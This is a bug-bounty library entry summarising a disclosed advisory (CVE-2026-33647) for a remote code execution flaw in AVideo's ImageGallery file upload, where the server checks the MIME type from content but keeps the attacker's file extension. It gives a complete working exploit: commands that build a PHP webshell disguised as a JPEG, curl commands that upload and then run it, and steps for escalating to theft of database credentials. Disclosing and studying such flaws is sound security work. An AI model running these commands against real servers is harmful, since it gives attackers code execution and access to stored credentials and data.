# AVideo Vulnerable to Remote Code Execution via MIME/Extension Mismatch in ImageGallery File Upload

ImageGallery saveFile() checks MIME content but trusts attacker filename extension, letting an authenticated video owner upload a JPEG/PHP polyglot as .php and execute it.

- Payout: Research
- Severity: high
- Program: AVideo
- Found by: offset
- Disclosed: 2026-03-25
- CVE: CVE-2026-33647
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-wxjw-phj6-g75w
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-wxjw-phj6-g75w
- Tags: area:web domain:web impact:data-leak impact:rce kind:research platform:ghsa sev:high tech:php technique:incomplete-fix technique:source-review vuln:file-upload vuln:rce

**Target:** ImageGallery upload endpoint (plugin/ImageGallery/upload.json.php)
**Root cause:** saveFile() validates content via finfo MIME but derives the saved extension from the user-supplied filename with no allowlist, so a JPEG-magic polyglot with .php extension is written into a web-accessible directory.
**Steps:**
1. Create polyglot: `printf '\xff\xd8\xff\xe0\x00\x10JFIF' > shell.php` then append `<?php if(isset($_GET["c"])){system($_GET["c"]);} ?>`
2. Confirm `file --mime-type shell.php` reports image/jpeg
3. Upload with session cookie: `curl -b 'PHPSESSID=<session>' -F "upl=@shell.php;filename=shell.php" 'https://target/plugin/ImageGallery/upload.json.php?videos_id=<VIDEO_ID>'`
4. Read returned `list[].url` giving path `videos/{videoFilename}/ImageGallery/{uniqid}.php`
5. Execute: `curl 'https://target/videos/video_filename/ImageGallery/67890abcdef12.php?c=id'`
**How found:** Code review of saveFile() spotted the mismatch: MIME validated on content but extension taken from $file['name']; noted root .htaccess pattern `php[a-z0-9]+` deliberately excludes plain .php and no .htaccess exists in videos/.
**Exploitation:** Authenticated user owning an Image/Gallery video uploads the polyglot; response listFiles() leaks the exact URL; requesting it runs PHP as the web server user, enabling config/DB credential theft and file access.
**Escalation:** Webshell grants read of videos/configuration.php DB credentials, full DB access, file read/write/delete, and lateral movement.
**Insight:** When an uploader validates content MIME but names files from user input, test polyglots with dangerous extensions; also check whether the app's own .htaccess extension blocklist excludes the primary executable extension it needs, leaving upload dirs unprotected.

## Proof of concept (copied exactly from the original report)

**Polyglot PHP/JPEG webshell creation**

```
printf '\xff\xd8\xff\xe0\x00\x10JFIF' > shell.php
echo '<?php if(isset($_GET["c"])){system($_GET["c"]);} ?>' >> shell.php
```

**Upload polyglot via ImageGallery endpoint**

```
curl -b 'PHPSESSID=<session_cookie>' \
  -F "upl=@shell.php;filename=shell.php" \
  'https://target/plugin/ImageGallery/upload.json.php?videos_id=<VIDEO_ID>'
```

**Execute uploaded webshell**

```
curl 'https://target/videos/video_filename/ImageGallery/67890abcdef12.php?c=id'
# Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

